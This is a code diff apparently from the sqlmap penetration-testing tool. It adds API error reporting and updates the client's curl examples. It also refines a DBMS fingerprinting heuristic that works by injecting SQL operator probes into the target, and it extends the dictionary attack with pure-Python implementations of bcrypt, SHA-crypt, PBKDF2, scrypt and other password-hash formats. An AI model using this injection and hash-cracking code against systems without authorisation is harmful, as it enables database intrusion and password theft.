@ -253,6 +253,12 @@ def setupReportCollector():
collector = Database(":memory:")
collector.connect("report")
collector.init()
# record error/critical log messages into the collector so that a CLI --report-json report carries
# the same 'error' content the REST API exposes via /scan/<id>/data - letting consumers tell a
# failed/unreachable run apart from a clean "nothing found" one (both otherwise have empty 'data')
logger.addHandler(ReportErrorRecorder(collector))
return collector
def writeReportJson(collector, filepath):
@ -449,6 +455,22 @@ class LogRecorder(logging.StreamHandler):
"""
conf.databaseCursor.execute("INSERT INTO logs VALUES(NULL, ?, ?, ?, ?)", (conf.taskid, time.strftime("%X"), record.levelname, str(record.msg % record.args if record.args else record.msg)))
class ReportErrorRecorder(logging.Handler):
def __init__(self, collector):
"""
Records error/critical log messages into a report collector's 'errors' table (the counterpart
of StdDbOut's stderr branch for CLI --report-json runs)
"""
logging.Handler.__init__(self)
self.setLevel(logging.ERROR)
self.collector = collector
def emit(self, record):
try:
self.collector.execute("INSERT INTO errors VALUES(NULL, ?, ?)", (REPORT_TASKID, str(record.msg % record.args if record.args else record.msg)))
except Exception:
pass
def setRestAPILog():
if conf.api:
try:
@ -957,11 +979,12 @@ def client(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT, username=Non
DataStore.username = username
DataStore.password = password
auth = ' --user "%s:%s"' % (username, password) if (username or password) else "" # REST API requires HTTP Basic auth
dbgMsg = "Example client access from command line:"
dbgMsg += "\n\t$ taskid=$(curl http://%s:%d/task/new 2>1 | grep -o -I '[a-f0-9]\\{16\\}') && echo $taskid" % (host, port)
dbgMsg += "\n\t$ curl -H \"Content-Type: application/json\" -X POST -d '{\"url\": \"http://testasp.vulnweb.com/showforum.asp?id=1\"}' http://%s:%d/scan/$taskid/start" % (host, port)
dbgMsg += "\n\t$ curl http://%s:%d/scan/$taskid/data" % (host, port)
dbgMsg += "\n\t$ curl http://%s:%d/scan/$taskid/log" % (host, port)
dbgMsg += "\n\t$ taskid=$(curl -s%s http://%s:%d/task/new | grep -o -I '[a-f0-9]\\{16\\}') && echo $taskid" % (auth, host, port)
dbgMsg += "\n\t$ curl%s -H \"Content-Type: application/json\" -X POST -d '{\"url\": \"https://sekumart.sekuripy.hr/product.php?id=1\"}' http://%s:%d/scan/$taskid/start" % (auth, host, port)
dbgMsg += "\n\t$ curl%s http://%s:%d/scan/$taskid/data" % (auth, host, port)
dbgMsg += "\n\t$ curl%s http://%s:%d/scan/$taskid/log" % (auth, host, port)
logger.debug(dbgMsg)
addr = "http://%s:%d" % (host, port)
@ -1089,7 +1112,7 @@ def client(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT, username=Non
elif command in ("help", "?"):
msg = "help Show this help message\n"
msg += "new ARGS Start a new scan task with provided arguments (e.g. 'new -u \"http://testasp.vulnweb.com/showforum.asp?id=1\"')\n"
msg += "new ARGS Start a new scan task with provided arguments (e.g. 'new -u \"https://sekumart.sekuripy.hr/product.php?id=1\"')\n"
msg += "use TASKID Switch current context to different task (e.g. 'use c04d8c5c7582efb4')\n"
msg += "data Retrieve and show data for current task\n"
msg += "log Retrieve and show log for current task\n"

View file

@ -94,16 +94,6 @@ def checkDependencies():
logger.warning(warnMsg)
missing_libraries.add('python-ntlm')
try:
__import__("httpx")
debugMsg = "'httpx[http2]' third-party library is found"
logger.debug(debugMsg)
except ImportError:
warnMsg = "sqlmap requires 'httpx[http2]' third-party library "
warnMsg += "if you plan to use HTTP version 2"
logger.warning(warnMsg)
missing_libraries.add('httpx[http2]')
try:
__import__("websocket._abnf")
debugMsg = "'websocket-client' library is found"

View file

@ -28,10 +28,10 @@ from lib.request.inject import checkBooleanExpression
# OTHER valid rows, which sqlmap's fuzzy page comparison conflates with the anchor row, producing
# false positives. See PROVE_DESIGN.md.)
#
# Truth table measured on a live OWASP-CRS platform across 16 engines (MySQL/MySQL5, MariaDB/TiDB,
# PostgreSQL, CockroachDB, CrateDB, Microsoft SQL Server, SQLite, Firebird, ClickHouse, H2, HSQLDB,
# Derby, MonetDB, IRIS, Trino); only the zero-false-positive rules are kept (see _classify). With
# anchor value 2:
# Signatures were measured against every SQL engine on a live OWASP-CRS platform (MySQL/MySQL5,
# MariaDB/TiDB, PostgreSQL, CockroachDB, CrateDB, Microsoft SQL Server, SQLite, Firebird, ClickHouse,
# H2, HSQLDB, Derby, MonetDB, IRIS, Trino) and encoded as an exact-signature WHITELIST in _classify()
# (only measured signatures classify; anything else -> None). With anchor value 2:
#
# * 2^0=2 -> '^' is bitwise XOR (MySQL/MSSQL/MonetDB: 2^0=2) vs exponentiation (PostgreSQL: 2^0=1)
# vs no such operator (SQLite/Oracle/... -> error, so false)
@ -52,57 +52,69 @@ DIALECT_PROBES = (
("shift", "1<<2=4"),
)
# Canary for the trustworthiness gate: a syntactically-invalid expression (a trailing operator) that
# a real SQL back-end can only read as FALSE - the appended clause is a parse error, the query fails,
# no row. A false-positive / noise channel (a WAF, a reflection, or a backend that ignores the
# injected tail and reads every probe the same) reads it as TRUE, which is proof the boolean oracle
# is trash, so the heuristic returns None (a true negative) rather than a bogus DBMS from a
# meaningless signature. It uses a trailing-operator form, distinct from the '<n> <m>' no-operator
# form already exercised by sqlmap's earlier false-positive check, so it adds new information.
DIALECT_CANARY = "2+"
# Exact operator-dialect signature -> back-end DBMS. Strict WHITELIST re-derived from the live
# measurement above: ONLY these signatures classify; any other - an engine not measured here, or a
# false-positive / noise channel - returns None. This deliberately replaces earlier partial-condition
# rules, which would confidently mis-map physically-impossible signatures onto a DBMS (e.g. the
# all-true 'reads everything as true' noise, where '^' would be XOR and exponentiation at once).
_SIGNATURE_DBMS = {
# xor pgpow intdiv bitor shift
(True, False, False, True, True): DBMS.MYSQL, # MySQL / MariaDB / TiDB
(False, True, True, True, True): DBMS.PGSQL, # PostgreSQL
(False, True, False, True, True): DBMS.PGSQL, # CockroachDB (pgwire; has '<<' -> shift True)
(False, True, True, True, False): DBMS.PGSQL, # CrateDB
(True, False, True, True, False): DBMS.MSSQL, # Microsoft SQL Server (no bit-shift)
(True, False, True, True, True): DBMS.MONETDB, # MonetDB (as MSSQL but has '<<')
(False, False, True, True, True): DBMS.SQLITE, # SQLite
}
def _classify(signature):
"""
Maps a measured (xor, pgpow, intdiv, bitor) operator-dialect signature to a back-end
DBMS, or returns None when the signature does not *uniquely* identify a major DBMS (so
detection proceeds unchanged - the heuristic never wrong-foots the scan).
Maps an exact operator-dialect signature (xor, pgpow, intdiv, bitor, shift) to a back-end DBMS
through a strict whitelist of live-measured signatures, or returns None when the signature is not
a known DBMS fingerprint - an engine not measured, or a noise / false-positive channel - so
detection proceeds unchanged and the heuristic never wrong-foots the scan.
Rules below are the subset of the measured 11-engine truth table that maps with zero
false positives. Engines whose operator profile is not distinctive enough (Oracle's
all-false signature, which a minimal engine like ClickHouse/H2/Firebird/HSQLDB/Derby or
a fully WAF-blocked channel also produces) deliberately fall through to None:
>>> _classify((True, False, False, True, True)) # MySQL / MariaDB / TiDB
>>> _classify((True, False, False, True, True)) # MySQL / MariaDB / TiDB
'MySQL'
>>> _classify((True, False, True, True, False)) # Microsoft SQL Server (no bit-shift)
>>> _classify((False, True, True, True, True)) # PostgreSQL
'PostgreSQL'
>>> _classify((False, True, False, True, True)) # CockroachDB -> PostgreSQL family
'PostgreSQL'
>>> _classify((False, True, True, True, False)) # CrateDB -> PostgreSQL family
'PostgreSQL'
>>> _classify((True, False, True, True, False)) # Microsoft SQL Server (no bit-shift)
'Microsoft SQL Server'
>>> _classify((True, False, True, True, True)) # MonetDB (same xor/intdiv as MSSQL, but has '<<')
>>> _classify((True, False, True, True, True)) # MonetDB (as MSSQL but has '<<')
'MonetDB'
>>> _classify((False, True, True, True, False)) # PostgreSQL
'PostgreSQL'
>>> _classify((False, True, False, True, False)) # CockroachDB (pgwire) -> PostgreSQL family
'PostgreSQL'
>>> _classify((False, False, True, True, True)) # SQLite
>>> _classify((False, False, True, True, True)) # SQLite
'SQLite'
>>> _classify((False, False, True, False, False)) is None # Firebird/HSQLDB/Derby/H2/Trino -> no prior
>>> _classify((True, True, True, True, True)) is None # 'reads everything true' noise -> None
True
>>> _classify((False, False, False, False, False)) is None # all-false (Oracle/ClickHouse/IRIS/blocked) -> no prior
>>> _classify((False, False, False, False, False)) is None # all-false (Oracle/ClickHouse/IRIS/blocked) -> None
True
>>> _classify((False, False, True, False, False)) is None # Firebird/H2/HSQLDB/Derby/Trino -> not distinctive
True
"""
xor, pgpow, intdiv, bitor, shift = signature
if pgpow: # '^' is exponentiation -> PostgreSQL family
return DBMS.PGSQL
if xor and intdiv: # '^' is XOR AND integer division -> SQL Server ...
# ... except MonetDB shares this exact signature; it alone has a working bit-shift operator
# ('1<<2=4'), SQL Server has none -> split the collision (measured zero-FP across 16 engines).
return DBMS.MONETDB if shift else DBMS.MSSQL
if xor and not intdiv: # '^' is XOR AND real division -> MySQL family
return DBMS.MYSQL
if not xor and intdiv and bitor: # no '^', integer division, bitwise '|' -> SQLite
return DBMS.SQLITE
return None
return _SIGNATURE_DBMS.get(tuple(bool(_) for _ in signature))
def dialectCheckDbms(injection):
"""
Keyword-free back-end DBMS heuristic via operator-dialect differentials, evaluated through the
given (boolean-capable) injection. Complements heuristicCheckDbms() - which is skipped when the
WAF/IPS is dropping requests and otherwise relies on SELECT/quote payloads - because every probe
here is built from operator semantics alone. Returns the DBMS name or None; an ambiguous or
WAF-blocked channel yields None, leaving the scan unchanged.
here is built from operator semantics alone. Returns the DBMS name or None; an ambiguous,
WAF-blocked or false-positive channel yields None, leaving the scan unchanged.
"""
retVal = None
@ -114,9 +126,12 @@ def dialectCheckDbms(injection):
kb.injection = injection
try:
# channel sanity: a tautology must read TRUE and a contradiction FALSE, otherwise the
# boolean oracle is unreliable and the all-false signature (Oracle-like) would be meaningless
if checkBooleanExpression("2=2") and not checkBooleanExpression("2=3"):
# Trustworthiness gate: a real boolean oracle reads a tautology TRUE, a contradiction FALSE,
# and a syntactically-invalid canary FALSE (the appended clause is a parse error -> the query
# fails). A false-positive / noise channel reads them all alike - the canary as TRUE - which
# is proof the oracle is trash, so classification is skipped (a true negative) instead of
# emitting a bogus DBMS from a meaningless signature.
if checkBooleanExpression("2=2") and not checkBooleanExpression("2=3") and not checkBooleanExpression(DIALECT_CANARY):
signature = tuple(bool(checkBooleanExpression(expr)) for _, expr in DIALECT_PROBES)
retVal = _classify(signature)
finally:

View file

@ -19,19 +19,27 @@ except:
from thirdparty.pydes.pyDes import CBC
from thirdparty.pydes.pyDes import des
try:
from hashlib import scrypt as _scrypt # not available on Python 2 (added in 3.6)
except ImportError:
_scrypt = None
_multiprocessing = None
import base64
import binascii
import gc
import hmac
import math
import os
import re
import struct
import tempfile
import time
import zipfile
from hashlib import md5
from hashlib import pbkdf2_hmac
from hashlib import sha1
from hashlib import sha224
from hashlib import sha256
@ -146,6 +154,21 @@ def postgres_passwd(password, username, uppercase=False):
return retVal.upper() if uppercase else retVal.lower()
def postgres_scram_passwd(password, salt, iterations, **kwargs): # since version '10'
"""
Reference(s):
https://www.rfc-editor.org/rfc/rfc5803
>>> postgres_scram_passwd(password='testpass', salt='c2FsdHNhbHRzYWx0', iterations=4096)
'SCRAM-SHA-256$4096:c2FsdHNhbHRzYWx0$AzDKnszrCJPfdiFrFLbdoiqdocK4KWksHHcs3Jx7R5w=:lmWF1kOl/PbOyhpnGuBGzKyuP3XYMK6whWukBxHiHLc='
"""
salted = pbkdf2_hmac("sha256", getBytes(password), decodeBase64(salt, binary=True), iterations)
stored_key = sha256(hmac.new(salted, b"Client Key", sha256).digest()).digest()
server_key = hmac.new(salted, b"Server Key", sha256).digest()
return "SCRAM-SHA-256$%d:%s$%s:%s" % (iterations, salt, getText(base64.b64encode(stored_key)), getText(base64.b64encode(server_key)))
def mssql_new_passwd(password, salt, uppercase=False): # since version '2012'
"""
Reference(s):
@ -439,6 +462,243 @@ def unix_md5_passwd(password, salt, magic="$1$", **kwargs):
return getText(magic + salt + b'$' + getBytes(hash_))
# SHA-crypt (Drepper) final-permutation byte orders for the 32/64-byte digests
_SHA256_CRYPT_ORDER = ((0, 10, 20), (21, 1, 11), (12, 22, 2), (3, 13, 23), (24, 4, 14), (15, 25, 5), (6, 16, 26), (27, 7, 17), (18, 28, 8), (9, 19, 29), (31, 30))
_SHA512_CRYPT_ORDER = ((0, 21, 42), (22, 43, 1), (44, 2, 23), (3, 24, 45), (25, 46, 4), (47, 5, 26), (6, 27, 48), (28, 49, 7), (50, 8, 29), (9, 30, 51), (31, 52, 10), (53, 11, 32), (12, 33, 54), (34, 55, 13), (56, 14, 35), (15, 36, 57), (37, 58, 16), (59, 17, 38), (18, 39, 60), (40, 61, 19), (62, 20, 41), (63,))
def _shaCryptDigest(password, salt, rounds, digestmod, order):
dsize = digestmod().digest_size
B = digestmod(password + salt + password).digest()
ctx = digestmod(password + salt)
cnt = len(password)
while cnt > dsize:
ctx.update(B)
cnt -= dsize
ctx.update(B[:cnt])
i = len(password)
while i:
ctx.update(B if i & 1 else password)
i >>= 1
A = ctx.digest()
dp = digestmod()
for _ in xrange(len(password)):
dp.update(password)
DP = dp.digest()
P = DP * (len(password) // dsize) + DP[:len(password) % dsize]
ds = digestmod()
for _ in xrange(16 + (A[0] if isinstance(A[0], int) else ord(A[0]))):
ds.update(salt)
DS = ds.digest()
S = DS * (len(salt) // dsize) + DS[:len(salt) % dsize]
C = A
for i in xrange(rounds):
c = digestmod()
c.update(P if i & 1 else C)
if i % 3:
c.update(S)
if i % 7:
c.update(P)
c.update(C if i & 1 else P)
C = c.digest()
retVal = ""
for group in order:
value = 0
for idx in group:
value = (value << 8) | (C[idx] if isinstance(C[idx], int) else ord(C[idx]))
for _ in xrange((len(group) * 8 + 5) // 6):
retVal += ITOA64[value & 0x3f]
value >>= 6
return retVal
def sha2_crypt_passwd(password, salt, magic="$5$", **kwargs):
"""
Reference(s):
https://www.akkadia.org/drepper/SHA-crypt.txt
>>> sha2_crypt_passwd(password='testpass', salt='saltstring', magic='$5$')
'$5$saltstring$rn/td51LeVLXb2RR8WT672g4QhAuobh1gQQFGFiRCT.'
>>> sha2_crypt_passwd(password='testpass', salt='saltstring', magic='$6$')
'$6$saltstring$Oxduy3vBZ8CEBR5mER96ach5GlbbBT1Oz5g1UNdPqomx5bB1.IwS1ZFoW8fpb0xvz/BCS7.LzpkW7GAFOW9yC.'
"""
rounds, saltstr = 5000, salt
if salt.startswith("rounds="):
prefix, saltstr = salt.split('$', 1)
rounds = int(prefix[len("rounds="):])
order, digestmod = (_SHA256_CRYPT_ORDER, sha256) if magic == "$5$" else (_SHA512_CRYPT_ORDER, sha512)
digest = _shaCryptDigest(getBytes(password), getBytes(saltstr)[:16], rounds, digestmod, order)
return "%s%s$%s" % (magic, salt, digest)
def mysql_sha2_passwd(password, salt, rounds, prefix, **kwargs): # MySQL 8 'caching_sha2_password' (sha256crypt, 20-byte salt)
"""
Reference(s):
https://hashcat.net/wiki/doku.php?id=example_hashes
>>> mysql_sha2_passwd(password='hashcat', salt=decodeHex('F9CC98CE08892924F50A213B6BC571A2C11778C5'), rounds=5000, prefix='$mysql$A$005*F9CC98CE08892924F50A213B6BC571A2C11778C5*')
'$mysql$A$005*F9CC98CE08892924F50A213B6BC571A2C11778C5*625479393559393965414D45316477456B484F41316E64484742577A2E3162785353526B7554584647562F'
"""
digest = _shaCryptDigest(getBytes(password), bytes(salt), rounds, sha256, _SHA256_CRYPT_ORDER)
return "%s%s" % (prefix, getText(encodeHex(getBytes(digest), binary=False)).upper())
# bcrypt (Provos-Mazieres EksBlowfish); the Blowfish P/S init constants are the fractional hex digits of pi
BCRYPT_ITOA64 = "./ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"
_bcryptState = None
def _bcryptInitState():
global _bcryptState
if _bcryptState is None:
count = 18 + 4 * 256
ndigits = count * 8
prec = ndigits + 16
one = 1 << (4 * prec)
def _arctan(inv):
total = term = one // inv
square = inv * inv
i = 1
while term:
term //= square
total += (term // (2 * i + 1)) * (-1 if i % 2 else 1)
i += 1
return total
frac = (16 * _arctan(5) - 4 * _arctan(239) - 3 * one) >> (4 * (prec - ndigits))
hexstr = "%0*x" % (ndigits, frac)
words = [int(hexstr[i * 8:(i + 1) * 8], 16) for i in xrange(count)]
_bcryptState = (words[:18], [words[18 + i * 256:18 + (i + 1) * 256] for i in xrange(4)])
return _bcryptState
def _bcryptEncipher(P, S, L, R):
for i in xrange(16):
L ^= P[i]
R ^= (((S[0][(L >> 24) & 0xff] + S[1][(L >> 16) & 0xff]) & 0xffffffff) ^ S[2][(L >> 8) & 0xff]) + S[3][L & 0xff] & 0xffffffff
L, R = R, L
L, R = R, L
return (L ^ P[17]) & 0xffffffff, (R ^ P[16]) & 0xffffffff
def _bcryptStream(data, offset):
word = 0
for _ in xrange(4):
word = ((word << 8) | data[offset[0]]) & 0xffffffff
offset[0] = (offset[0] + 1) % len(data)
return word
def _bcryptExpand(P, S, data, key):
koffset = [0]
for i in xrange(18):
P[i] ^= _bcryptStream(key, koffset)
doffset = [0]
L = R = 0
for i in xrange(0, 18, 2):
if data:
L ^= _bcryptStream(data, doffset)
R ^= _bcryptStream(data, doffset)
L, R = _bcryptEncipher(P, S, L, R)
P[i], P[i + 1] = L, R
for b in xrange(4):
for k in xrange(0, 256, 2):
if data:
L ^= _bcryptStream(data, doffset)
R ^= _bcryptStream(data, doffset)
L, R = _bcryptEncipher(P, S, L, R)
S[b][k], S[b][k + 1] = L, R
def _bcryptBase64(data):
retVal = ""
i = 0
while i < len(data):
c = data[i]; i += 1
retVal += BCRYPT_ITOA64[(c >> 2) & 0x3f]
c = (c & 3) << 4
if i >= len(data):
retVal += BCRYPT_ITOA64[c & 0x3f]; break
d = data[i]; i += 1
retVal += BCRYPT_ITOA64[(c | (d >> 4) & 0x0f) & 0x3f]
c = (d & 0x0f) << 2
if i >= len(data):
retVal += BCRYPT_ITOA64[c & 0x3f]; break
e = data[i]; i += 1
retVal += BCRYPT_ITOA64[(c | (e >> 6) & 3) & 0x3f]
retVal += BCRYPT_ITOA64[e & 0x3f]
return retVal
def _bcryptUnbase64(value, length):
retVal = bytearray()
positions = [BCRYPT_ITOA64.index(_) for _ in value]
i = 0
while i < len(positions) and len(retVal) < length:
c1 = positions[i]
c2 = positions[i + 1] if i + 1 < len(positions) else 0
retVal.append(((c1 << 2) | (c2 >> 4)) & 0xff)
if len(retVal) >= length:
break
c3 = positions[i + 2] if i + 2 < len(positions) else 0
retVal.append((((c2 & 0x0f) << 4) | (c3 >> 2)) & 0xff)
if len(retVal) >= length:
break
c4 = positions[i + 3] if i + 3 < len(positions) else 0
retVal.append((((c3 & 3) << 6) | c4) & 0xff)
i += 4
return retVal[:length]
def bcrypt_passwd(password, salt, magic="$2a$", cost=5, **kwargs):
"""
Reference(s):
https://www.openwall.com/crypt/
>>> bcrypt_passwd(password='U*U', salt='CCCCCCCCCCCCCCCCCCCCC.', magic='$2a$', cost=5)
'$2a$05$CCCCCCCCCCCCCCCCCCCCC.E5YPO9kmyuRGyh0XouQYb4YMJKvyOeW'
"""
P0, S0 = _bcryptInitState()
P, S = list(P0), [list(_) for _ in S0]
key = bytearray(getBytes(password) + b"\0")
saltbytes = _bcryptUnbase64(salt, 16)
_bcryptExpand(P, S, saltbytes, key)
for _ in xrange(1 << cost):
_bcryptExpand(P, S, b"", key)
_bcryptExpand(P, S, b"", saltbytes)
ctext = list(struct.unpack(">6I", b"OrpheanBeholderScryDoubt"))
for _ in xrange(64):
for j in xrange(0, 6, 2):
ctext[j], ctext[j + 1] = _bcryptEncipher(P, S, ctext[j], ctext[j + 1])
digest = bytearray(struct.pack(">6I", *ctext))[:23]
return "%s%02d$%s%s" % (magic, cost, salt, _bcryptBase64(digest))
def wordpress_bcrypt_passwd(password, salt, magic="$2y$", cost=10, **kwargs): # WordPress 6.8+ 'bcrypt(base64(hmac-sha384(pass)))'
"""
Reference: https://make.wordpress.org/core/2025/02/17/wordpress-6-8-will-use-bcrypt-for-password-hashing/
>>> wordpress_bcrypt_passwd(password='hashcat', salt='lzlQrRRhLSjz486bA9CKHu', magic='$2y$', cost=10)
'$wp$2y$10$lzlQrRRhLSjz486bA9CKHuZRPoKz4uviT251Sq/r5OzKUBbrXwnQW'
"""
prehashed = getText(base64.b64encode(hmac.new(b"wp-sha384", getBytes(password.strip()), sha384).digest()))
return "$wp%s" % bcrypt_passwd(prehashed, salt, magic, cost)
def joomla_passwd(password, salt, **kwargs):
"""
Reference: https://stackoverflow.com/a/10428239
@ -469,6 +729,56 @@ def django_sha1_passwd(password, salt, **kwargs):
return "sha1$%s$%s" % (salt, sha1(getBytes(salt) + getBytes(password)).hexdigest())
def django_pbkdf2_sha256_passwd(password, salt, iterations, **kwargs):
"""
Reference: https://github.com/django/django/blob/main/django/contrib/auth/hashers.py
>>> django_pbkdf2_sha256_passwd(password='testpass', salt='salt', iterations=1000)
'pbkdf2_sha256$1000$salt$N3DLJstEJ6mIjp0fq/KRcHmJ/4FtMzHYmW9fBHci/aI='
"""
dk = pbkdf2_hmac("sha256", getBytes(password), getBytes(salt), iterations)
return "pbkdf2_sha256$%d$%s$%s" % (iterations, salt, getText(base64.b64encode(dk)))
def werkzeug_pbkdf2_passwd(password, salt, iterations, digestmod="sha256", **kwargs):
"""
Reference: https://github.com/pallets/werkzeug/blob/main/src/werkzeug/security.py
>>> werkzeug_pbkdf2_passwd(password='testpass', salt='salt', iterations=1000, digestmod='sha256')
'pbkdf2:sha256:1000$salt$3770cb26cb4427a9888e9d1fabf291707989ff816d3331d8996f5f047722fda2'
"""
dk = pbkdf2_hmac(digestmod, getBytes(password), getBytes(salt), iterations)
return "pbkdf2:%s:%d$%s$%s" % (digestmod, iterations, salt, getText(encodeHex(dk, binary=False)))
def werkzeug_scrypt_passwd(password, salt, N, r, p, **kwargs):
"""
Reference: https://github.com/pallets/werkzeug/blob/main/src/werkzeug/security.py
>>> werkzeug_scrypt_passwd(password='testpass', salt='saltsalt', N=32768, r=8, p=1) if _scrypt else 'scrypt:32768:8:1$saltsalt$1e0f97c3f6609024022fbe698da29c2fe53ef1087a8e396dc6d5d2a041e886dee09ea922781f2c2a1c85e46c77060147e43487f8fe6226bcb635915af9b0518b'
'scrypt:32768:8:1$saltsalt$1e0f97c3f6609024022fbe698da29c2fe53ef1087a8e396dc6d5d2a041e886dee09ea922781f2c2a1c85e46c77060147e43487f8fe6226bcb635915af9b0518b'
"""
dk = _scrypt(getBytes(password), salt=getBytes(salt), n=N, r=r, p=p, dklen=64, maxmem=132 * N * r + 1024)
return "scrypt:%d:%d:%d$%s$%s" % (N, r, p, salt, getText(encodeHex(dk, binary=False)))
def aspnet_identity_passwd(password, salt, iterations, prf, dklen, **kwargs):
"""
Reference(s):
https://github.com/dotnet/AspNetCore/blob/main/src/Identity/Extensions.Core/src/PasswordHasher.cs
>>> aspnet_identity_passwd(password='cutecats', salt=decodeBase64('AQAAAAEAACcQAAAAEFWLthQDW2xiWaS3vLgY4ItJdModbW0kzKtb8IVuXBY3fFaIntkbbdqTj8mTXH4mmA==', binary=True)[13:29], iterations=10000, prf=1, dklen=32)
'AQAAAAEAACcQAAAAEFWLthQDW2xiWaS3vLgY4ItJdModbW0kzKtb8IVuXBY3fFaIntkbbdqTj8mTXH4mmA=='
"""
subkey = pbkdf2_hmac({0: "sha1", 1: "sha256", 2: "sha512"}[prf], getBytes(password), bytes(salt), iterations, dklen)
blob = struct.pack(">BIII", 1, prf, iterations, len(salt)) + bytes(salt) + subkey
return getText(base64.b64encode(blob))
def vbulletin_passwd(password, salt, **kwargs):
"""
Reference: https://stackoverflow.com/a/2202810
@ -560,6 +870,8 @@ __functions__ = {
HASH.MYSQL: mysql_passwd,
HASH.MYSQL_OLD: mysql_old_passwd,
HASH.POSTGRES: postgres_passwd,
HASH.POSTGRES_SCRAM: postgres_scram_passwd,
HASH.MYSQL_SHA2: mysql_sha2_passwd,
HASH.MSSQL: mssql_passwd,
HASH.MSSQL_OLD: mssql_old_passwd,
HASH.MSSQL_NEW: mssql_new_passwd,
@ -572,9 +884,16 @@ __functions__ = {
HASH.SHA384_GENERIC: sha384_generic_passwd,
HASH.SHA512_GENERIC: sha512_generic_passwd,
HASH.CRYPT_GENERIC: crypt_generic_passwd,
HASH.SHA256_UNIX_CRYPT: sha2_crypt_passwd,
HASH.SHA512_UNIX_CRYPT: sha2_crypt_passwd,
HASH.BCRYPT: bcrypt_passwd,
HASH.WORDPRESS_BCRYPT: wordpress_bcrypt_passwd,
HASH.JOOMLA: joomla_passwd,
HASH.DJANGO_MD5: django_md5_passwd,
HASH.DJANGO_SHA1: django_sha1_passwd,
HASH.DJANGO_PBKDF2_SHA256: django_pbkdf2_sha256_passwd,
HASH.ASPNET_IDENTITY: aspnet_identity_passwd,
HASH.WERKZEUG_PBKDF2: werkzeug_pbkdf2_passwd,
HASH.PHPASS: phpass_passwd,
HASH.APACHE_MD5_CRYPT: unix_md5_passwd,
HASH.UNIX_MD5_CRYPT: unix_md5_passwd,
@ -591,6 +910,14 @@ __functions__ = {
HASH.SHA512_BASE64: sha512_generic_passwd,
}
if _scrypt is not None:
__functions__[HASH.WERKZEUG_SCRYPT] = werkzeug_scrypt_passwd
# Recognized-only formats with no pure-Python/stdlib crack path; identified and pointed to dedicated tools
HASH_TOOL_HINTS = {
HASH.ARGON2: "an Argon2 hash (e.g. 'hashcat -m 34000' or 'john --format=argon2')",
}
def _finalize(retVal, results, processes, attack_info=None):
if _multiprocessing:
gc.enable()
@ -898,6 +1225,7 @@ def _bruteProcessVariantA(attack_info, hash_regex, suffix, retVal, proc_id, proc
pass
finally:
wordlist.closeFP() # release the wordlist file handle (else it leaks; Windows can't rmtree an open file)
if hasattr(proc_count, "value"):
with proc_count.get_lock():
proc_count.value -= 1
@ -977,6 +1305,7 @@ def _bruteProcessVariantB(user, hash_, kwargs, hash_regex, suffix, retVal, found
pass
finally:
wordlist.closeFP() # release the wordlist file handle (else it leaks; Windows can't rmtree an open file)
if hasattr(proc_count, "value"):
with proc_count.get_lock():
proc_count.value -= 1
@ -1023,9 +1352,14 @@ def dictionaryAttack(attack_dict):
regex = hashRecognition(hash_)
if regex and regex not in hash_regexes:
hash_regexes.append(regex)
infoMsg = "using hash method '%s'" % __functions__[regex].__name__
logger.info(infoMsg)
if regex in __functions__:
hash_regexes.append(regex)
infoMsg = "using hash method '%s'" % __functions__[regex].__name__
logger.info(infoMsg)
else:
warnMsg = "sqlmap identified %s that cannot be cracked with the " % HASH_TOOL_HINTS.get(regex, "a hash")
warnMsg += "built-in dictionary attack"
singleTimeWarnMessage(warnMsg)
for hash_regex in hash_regexes:
keys = set()
@ -1043,7 +1377,7 @@ def dictionaryAttack(attack_dict):
try:
item = None
if hash_regex not in (HASH.CRYPT_GENERIC, HASH.JOOMLA, HASH.PHPASS, HASH.UNIX_MD5_CRYPT, HASH.APACHE_MD5_CRYPT, HASH.APACHE_SHA1, HASH.VBULLETIN, HASH.VBULLETIN_OLD, HASH.SSHA, HASH.SSHA256, HASH.SSHA512, HASH.DJANGO_MD5, HASH.DJANGO_SHA1, HASH.MD5_BASE64, HASH.SHA1_BASE64, HASH.SHA256_BASE64, HASH.SHA512_BASE64):
if hash_regex not in (HASH.CRYPT_GENERIC, HASH.JOOMLA, HASH.PHPASS, HASH.UNIX_MD5_CRYPT, HASH.APACHE_MD5_CRYPT, HASH.APACHE_SHA1, HASH.VBULLETIN, HASH.VBULLETIN_OLD, HASH.SSHA, HASH.SSHA256, HASH.SSHA512, HASH.DJANGO_MD5, HASH.DJANGO_SHA1, HASH.DJANGO_PBKDF2_SHA256, HASH.POSTGRES_SCRAM, HASH.MYSQL_SHA2, HASH.WERKZEUG_PBKDF2, HASH.WERKZEUG_SCRYPT, HASH.SHA256_UNIX_CRYPT, HASH.SHA512_UNIX_CRYPT, HASH.BCRYPT, HASH.WORDPRESS_BCRYPT, HASH.ASPNET_IDENTITY, HASH.MD5_BASE64, HASH.SHA1_BASE64, HASH.SHA256_BASE64, HASH.SHA512_BASE64):
hash_ = hash_.lower()
if hash_regex in (HASH.MD5_BASE64, HASH.SHA1_BASE64, HASH.SHA256_BASE64, HASH.SHA512_BASE64):
@ -1068,10 +1402,32 @@ def dictionaryAttack(attack_dict):
item = [(user, hash_), {"salt": hash_[0:2]}]
elif hash_regex in (HASH.UNIX_MD5_CRYPT, HASH.APACHE_MD5_CRYPT):
item = [(user, hash_), {"salt": hash_.split('$')[2], "magic": "$%s$" % hash_.split('$')[1]}]
elif hash_regex in (HASH.SHA256_UNIX_CRYPT, HASH.SHA512_UNIX_CRYPT):
item = [(user, hash_), {"salt": '$'.join(hash_.split('$')[2:-1]), "magic": "$%s$" % hash_.split('$')[1]}]
elif hash_regex in (HASH.BCRYPT,):
item = [(user, hash_), {"salt": hash_[7:29], "magic": hash_[:4], "cost": int(hash_[4:6])}]
elif hash_regex in (HASH.WORDPRESS_BCRYPT,):
item = [(user, hash_), {"salt": hash_[10:32], "magic": hash_[3:7], "cost": int(hash_[7:9])}]
elif hash_regex in (HASH.ASPNET_IDENTITY,):
_ = decodeBase64(hash_, binary=True)
prf, iterations, saltlen = struct.unpack(">III", _[1:13])
item = [(user, hash_), {"salt": _[13:13 + saltlen], "iterations": iterations, "prf": prf, "dklen": len(_) - 13 - saltlen}]
elif hash_regex in (HASH.MYSQL_SHA2,):
_ = hash_.split('*')
item = [(user, hash_), {"salt": decodeHex(_[1]), "rounds": int(_[0].split('$')[-1], 16) * 1000, "prefix": hash_[:hash_.rindex('*') + 1]}]
